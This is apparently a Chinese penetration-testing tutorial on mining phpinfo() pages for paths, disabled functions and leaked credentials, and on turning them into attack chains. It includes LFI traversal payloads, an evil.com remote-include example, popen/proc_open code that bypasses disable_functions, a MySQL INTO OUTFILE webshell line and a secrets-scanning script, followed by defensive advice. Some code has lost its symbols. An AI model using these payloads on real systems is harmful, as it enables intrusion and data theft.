phpinfo信息泄露:从配置全景图到攻击跳板的实战利用指南

发布时间:2026/6/26 10:17:50

phpinfo信息泄露:从配置全景图到攻击跳板的实战利用指南 1. 项目概述从“信息泄露”到“攻击跳板”的认知升级在渗透测试的实战中我们常常会碰到一些看似不起眼实则蕴含巨大价值的“信息金矿”。phpinfo()函数生成的信息页面就是其中最典型、也最容易被低估的一个。很多刚入行的朋友甚至一些有经验的测试者看到phpinfo()页面可能只是扫一眼服务器版本、PHP版本觉得“哦知道了”然后就关掉了。这无异于在金矿门口捡了块石头就转身离开。实际上一个完整的phpinfo()输出远不止是版本号那么简单。它是一个近乎“裸奔”的服务器配置全景图从系统架构、环境变量、加载的扩展模块到文件路径、数据库连接信息、甚至是一些临时或备份文件的存放位置都一览无余。在渗透测试中它的价值在于“信息不对称”——开发者或管理员无意中暴露了这些信息而攻击者或我们这些授权的测试者则可以利用这些信息构建出精确的攻击路径将一处简单的信息泄露点演变为获取服务器权限、窃取敏感数据的关键跳板。我遇到过太多案例一个对外开放的测试页面、一个忘记删除的备份文件、甚至是一个配置错误的临时脚本里面就包含了对phpinfo()的调用。从发现这个页面开始整个渗透测试的难度和方向都可能发生根本性转变。它不再是漫无目的的端口扫描和漏洞爆破而是变成了一场有明确导航的“外科手术式”攻击。接下来我就结合多年的实战经验为你系统性地拆解phpinfo()页面中那些值得深挖的关键信息并展示如何将它们转化为实际的攻击向量。2. 核心信息挖掘逐帧解析“服务器自白书”拿到一个phpinfo()页面切忌一目十行。我们需要像法医解剖一样对每一个区块进行细致的检查。以下是我总结的几个核心信息区块及其潜在价值。2.1 系统环境与配置路径这是最基础也最致命的信息。System,Server API,Build Date: 直接告诉你操作系统的类型如 Linux、Windows、Web 服务器的运行模式如 Apache 2.0 Handler, FPM-FCGI和 PHP 的编译时间。结合编译时间可以推测系统可能存在的未修复漏洞时间窗口。例如一个2018年编译的PHP很可能存在当时已知但未修补的漏洞。DOCUMENT_ROOT: 网站的根目录绝对路径。这是黄金信息。知道了这个你就能精准定位网站的核心文件位置为后续的文件包含、目录遍历攻击提供了绝对坐标。SCRIPT_FILENAME: 当前执行脚本的绝对路径。这有时会暴露出非预期的目录结构比如脚本放在/var/www/html/admin/backup/下这本身就是一个敏感路径提示。PATH环境变量: 显示了系统执行命令时的搜索路径。如果其中包含当前用户可写的目录结合某些漏洞如通过mail()函数执行命令可能实现权限提升。_SERVER[“HTTP_HOST”]与_SERVER[“SERVER_NAME”]: 可以帮助你识别虚拟主机配置有时能发现测试域名、内部域名这些是扩大攻击面的重要线索。注意在 Windows 系统上路径信息尤为重要。例如暴露了C:\xampp\htdocs\这样的路径结合其他漏洞攻击的精准度会大幅提高。2.2 敏感配置与扩展模块PHP的配置直接决定了攻击面的大小。register_globals(PHP 5.4): 如果为On这几乎是一个“邀请函”级别的危险配置。它会将 GET、POST 等请求变量自动注册为全局变量极易导致变量覆盖漏洞。虽然在现代PHP中已移除但在一些老旧系统上仍可能遇到。allow_url_include: 如果为On则允许include或require函数包含远程文件如http://evil.com/shell.txt。这是实现远程文件包含RFI攻击的必要条件。open_basedir: 限制PHP可访问的目录范围。如果配置不当或未设置攻击者可以进行目录遍历访问系统其他敏感文件如/etc/passwd。disable_functions: 列出了被禁用的函数。这是防守方的“黑名单”。仔细研究这个列表可以了解管理员的安全意识水平并寻找未被禁用的“替代函数”。例如如果system、exec、shell_exec、passthru被禁用但popen、proc_open或反引号操作符未被禁用那么命令执行的大门依然敞开。extension_dir: PHP扩展的加载目录。结合路径信息可以尝试上传恶意.so(Linux) 或.dll(Windows) 扩展文件并通过某些方式加载但这属于高阶技巧。已加载的扩展: 查看mysql,mysqli,pdo_mysql,pgsql,sqlite3等数据库扩展是否存在可以判断后端数据库类型。curl、fileinfo、imagick等扩展的存在也可能引入额外的攻击面如 SSRF、文件解析漏洞。2.3 文件与目录权限线索phpinfo()有时会泄露临时文件或会话文件的存储路径。upload_tmp_dir: 文件上传时的临时存储目录。这个目录通常权限比较宽松。如果你能预测或控制临时文件名在某些条件下是可能的结合文件包含漏洞就能执行上传的恶意代码这就是经典的“临时文件竞争”攻击的一种前置信息获取。session.save_path: PHP会话文件的存储路径。如果该路径Web用户可读可能会泄露会话ID导致会话劫持。如果可写可能允许注入恶意会话数据。error_log: PHP错误日志路径。如果该文件位于Web目录下且可访问可能会泄露敏感信息如数据库连接错误时的账号密码。2.4 数据库与第三方服务配置在phpinfo()的PHP Variables部分或通过$_ENV有时会意外泄露环境变量中配置的数据库连接信息。查找DB_,MYSQL_,DATABASE_等前缀的环境变量。很多框架如Laravel或Docker环境会通过环境变量传递数据库密码如果配置不当这些变量可能会出现在phpinfo()中。$_ENV数组: 仔细检查这个数组里面可能包含各种API密钥、数据库密码、Redis连接字符串等。我曾在一个测试中直接从一个陈旧的phpinfo()页面里找到了生产环境的Redis密码从而直接访问了缓存数据库。3. 实战利用将信息转化为攻击链仅仅收集信息是不够的关键在于利用。下面我们看几个具体的实战场景。3.1 场景一精准定位与文件包含信息利用我们从phpinfo()中获得了DOCUMENT_ROOT为/var/www/html/vhosts/target.com/public_html。攻击链构建目录遍历探测尝试访问https://target.com/../../../../etc/passwd。但更精准的方法是结合DOCUMENT_ROOT推算Web服务器上其他可能存在的路径。例如尝试访问https://target.com/../config.php对应/var/www/html/vhosts/target.com/config.php或者https://target.com/../.envLaravel框架的配置文件。本地文件包含LFI如果网站存在文件包含漏洞例如参数?page../../../../etc/passwd那么DOCUMENT_ROOT的知识能帮助你更准确地计算“穿越”的层级。例如如果你的包含点在/public_html/includes/header.php要包含/etc/passwd你需要回溯的层级是从/public_html/includes到/public_html(1层)再到/vhosts/target.com(2层)再到/html(3层)再到/www(4层)再到/var(5层)然后才能访问根目录下的/etc。所以路径可能是?page../../../../../etc/passwd。没有DOCUMENT_ROOT你只能盲目尝试。日志文件注入如果包含漏洞存在且error_log路径已知并Web可访问你可以通过User-Agent等方式将PHP代码写入错误日志然后包含该日志文件来执行代码。3.2 场景二命令执行函数绕过信息利用disable_functions列表显示禁用了system, exec, shell_exec, passthru但popen, proc_open, pcntl_exec未被禁用且mail()函数可用sendmail_path配置为默认或可覆盖。攻击链构建利用popen/proc_open直接编写利用代码。// 利用 popen $handle popen(whoami, r); echo fread($handle, 2096); pclose($handle); // 利用 proc_open $descriptorspec array(0 array(pipe, r), 1 array(pipe, w)); $process proc_open(id, $descriptorspec, $pipes); if (is_resource($process)) { echo stream_get_contents($pipes[1]); fclose($pipes[1]); proc_close($process); }利用mail()函数mail()函数在发送邮件时会调用sendmail程序。如果php.ini中的sendmail_path配置项在phpinfo()中显示为默认值如/usr/sbin/sendmail -t -i并且我们能够控制mail()的第五个参数additional_parameters在某些PHP版本和配置下可以则可以注入命令。但更常见的是如果服务器配置了safe_mode已废弃或某些特定环境此方法可能无效。更可靠的利用是结合LD_PRELOAD劫持但这需要能上传.so文件。利用反引号操作符检查反引号ls是否可用。有时管理员会遗漏这个。利用imap_open如果安装了imap扩展imap_open在连接恶意服务器时可能导致命令执行。利用ImageMagick如果imagick扩展已加载可以研究已知的ImageMagick命令注入漏洞如Ghostscript漏洞。实操心得遇到disable_functions不要轻易放弃。把它当作一个挑战清单。首先尝试列表外的函数其次研究PHP内置的、可能调用外部程序的函数如mail(),imap_open(),gdImage*系列处理外部命令通常不会最后考虑通过扩展漏洞或PHP内核漏洞进行绕过。网上有大量公开的“绕过disable_functions”的脚本和思路可以作为参考。3.3 场景三数据库凭证泄露与横向移动信息利用在$_ENV中发现了DB_PASSWORDSuperSecret123!和DB_HOST192.168.1.100。攻击链构建直接连接数据库使用获取的凭证尝试直接连接内网数据库192.168.1.100。如果Web服务器与数据库网络互通而你的攻击机不通你需要先获得一个WebShell在服务器上使用mysql命令行或编写PHP脚本进行连接。$conn new mysqli(192.168.1.100, root, SuperSecret123!); if ($conn-connect_error) { die(连接失败: . $conn-connect_error); } echo 连接成功; // 接下来可以枚举数据库、表窃取数据权限提升与横向移动检查数据库用户权限。如果是高权限用户如root%可能允许执行系统命令MySQL的sys_exec PostgreSQL的COPY ... FROM PROGRAM SQL Server的xp_cmdshell。利用数据库的“写文件”权限将PHP WebShell写入Web目录。例如在MySQL中SELECT ?php system($_GET[\c\]); ? INTO OUTFILE /var/www/html/shell.php。这需要secure_file_priv设置为空或对应目录而phpinfo()中的相关变量可能给你提示。以数据库为跳板探测数据库主机 (192.168.1.100) 上开放的其他端口如SSH-22, RDP-3389尝试用相同或弱密码进行横向移动。3.4 场景四临时文件与竞争条件攻击信息利用upload_tmp_dir设置为/tmp并且我们发现了一个文件上传点但上传后会对文件内容进行检查如杀毒、图片重渲染不合格则删除。攻击链构建原理文件上传时PHP会先将文件保存到upload_tmp_dir生成一个随机名称的临时文件如/tmp/phpabc123在脚本执行结束后才删除。如果存在一个本地文件包含LFI漏洞我们可以在临时文件被删除前的一瞬间通过LFI去包含并执行它。实战难点这个时间窗口极短毫秒级需要精确的时序控制。通常需要编写自动化脚本同时发起大量上传请求和包含请求进行“竞争”。简化利用如果服务器配置了session.upload_progress.enabled On我们可以利用“会话上传进度”功能配合一个已知的LFI漏洞更稳定地实现文件包含和代码执行而无需精确的时间竞争。这需要phpinfo()确认该配置已开启。4. 自动化信息提取与工具化手动分析phpinfo()页面效率低下且容易遗漏细节。在实际渗透测试中我们需要将其工具化。4.1 手工快速检查清单即使不用工具也可以按照以下清单进行快速人工审计CtrlF 搜索关键词disable_functionsopen_basedirallow_url_includeDOCUMENT_ROOTupload_tmp_dirsession.save_patherror_logsendmail_pathDB_,MYSQL_,REDIS_,AWS_(各种可能的凭证前缀)Extension(查看所有扩展)重点关注PHP Variables和Environment两个表格这里最容易泄露配置信息。4.2 使用自动化脚本可以编写简单的Python脚本使用requests库获取页面然后用BeautifulSoup或正则表达式解析HTML提取关键配置项并高亮显示危险配置。import requests import re from bs4 import BeautifulSoup def analyze_phpinfo(url): try: resp requests.get(url, timeout10) soup BeautifulSoup(resp.text, html.parser) # 提取所有表格数据这里简化处理实际需要更精细的解析 text soup.get_text() danger_patterns { allow_url_include: rallow_url_include.*?On, disable_functions: rdisable_functions.*?(no value|特定危险函数未禁用), open_basedir: ropen_basedir.*?(no value), DOCUMENT_ROOT: rDOCUMENT_ROOT.*?(/var/www/|/home/), upload_tmp_dir: rupload_tmp_dir.*?(/tmp|可预测路径), session.save_path: rsession\.save_path.*?(/tmp|Web可访问路径), } print(f[*] 分析报告 for {url}) for name, pattern in danger_patterns.items(): match re.search(pattern, text, re.IGNORECASE | re.DOTALL) if match: print(f[!] 发现潜在风险: {name} - {match.group()[:100]}...) # 提取所有环境变量 env_section re.search(rEnvironment(.*?)(?\n\w|$), text, re.DOTALL | re.IGNORECASE) if env_section: env_vars re.findall(r(\w)([^\n]), env_section.group(1)) for key, value in env_vars: if any(secret in key.lower() for secret in [pass, key, secret, token, auth]): print(f[CRITICAL] 发现敏感环境变量: {key} {value}) except Exception as e: print(f[-] 分析失败: {e}) if __name__ __main__: analyze_phpinfo(http://target.com/phpinfo.php)4.3 集成到侦察框架成熟的渗透测试框架如Metasploit和Burp Suite也具备相关功能。Metasploit有auxiliary/scanner/http/phpinfo模块可以扫描并提取信息。Burp Suite使用Content Discovery功能扫描phpinfo.php,test.php,info.php等常见路径。发现后使用Extensions-BApp Store中的PHPInfo LFI Exploiter等插件进行自动分析并尝试与LFI扫描器联动。将phpinfo页面的URL发送到Burp Intruder用于作为其他攻击的“有效载荷”判断依据例如在SSRF漏洞中用phpinfo来探测内网服务。5. 防御措施与安全建议作为渗透测试者我们挖掘漏洞同样也需要理解如何修复。以下是给开发和管理员的安全建议严禁在生产环境部署phpinfo()这是铁律。任何包含phpinfo()的文件都必须在开发、测试完成后彻底删除。使用版本控制工具如Git的.gitignore文件忽略这类测试脚本。严格控制错误信息输出在php.ini中设置display_errors Offlog_errors On并确保error_log指向一个Web不可访问的安全路径。在生产环境错误不应展示给用户。强化PHP配置allow_url_fopen Offallow_url_include Offopen_basedir设置为必要的目录范围并用冒号分隔。disable_functions应尽可能包含所有不必要的命令执行和系统函数system, exec, shell_exec, passthru, proc_open, popen, pcntl_exec, eval等。注意禁用函数不是银弹需结合其他安全措施。expose_php Off可以隐藏HTTP响应头中的PHP版本信息。使用安全的凭证管理方式绝对不要将数据库密码、API密钥等硬编码在源码中或通过$_ENV直接暴露。使用操作系统级别的环境变量如通过Web服务器配置传入或使用专门的密钥管理服务如HashiCorp Vault, AWS Secrets Manager。定期安全审计与配置检查使用php -i命令在命令行下查看配置而非通过Web访问。定期进行漏洞扫描和渗透测试主动发现此类信息泄露问题。最小权限原则运行PHP-FPM或Apache进程的用户权限应被严格限制不能是root。数据库用户也应遵循最小权限原则禁止使用root账户进行Web应用连接。6. 实战案例复盘与思考最后分享一个我印象深刻的案例。在一次外部测试中目标网站只有一个简单的登录页面扫描器没有发现任何常见漏洞。但在对目录进行模糊测试时发现了一个/debug.php文件返回403。尝试了/.debug.php.swp(vim备份文件) 和/debug.php.bak成功下载到了源码备份。打开一看里面赫然写着?php phpinfo(); ?。显然这是开发者留下的调试文件原文件被删除但备份留下了。访问这个备份文件完整的phpinfo()页面出现了。在其中我发现了DOCUMENT_ROOT: /home/ubuntu/app/current/public一个环境变量BACKUP_DB_URLmysql://backup:WeakBackupPass10.0.1.5:3306/backup_dbdisable_functions列表很长但mail()函数可用。利用DOCUMENT_ROOT我尝试了路径遍历发现了 Laravel 框架的.env文件但里面是空的因为环境变量已通过其他方式设置。真正的突破口是那个备份数据库的凭证。通过已获得的一个低权限WebShell通过另一个细微的注入点获得我在服务器上使用mysql客户端连接了内网的10.0.1.5发现backup用户权限极高可以读写文件。最终通过数据库的INTO OUTFILE功能将WebShell写入了主应用目录获得了主Web服务的控制权。这个案例告诉我们第一信息泄露的源头往往很不起眼备份文件第二phpinfo()泄露的信息需要关联分析数据库凭证内网IP第三防御是一个整体一个环节的疏漏备份文件未删除、内网数据库弱密码、数据库权限过大可能导致全线崩溃。作为测试者我们必须具备这种将零散信息拼接成完整攻击链的耐心和能力。每一次查看phpinfo()都不要把它当作终点而应视为一个充满可能性的新起点。

相关新闻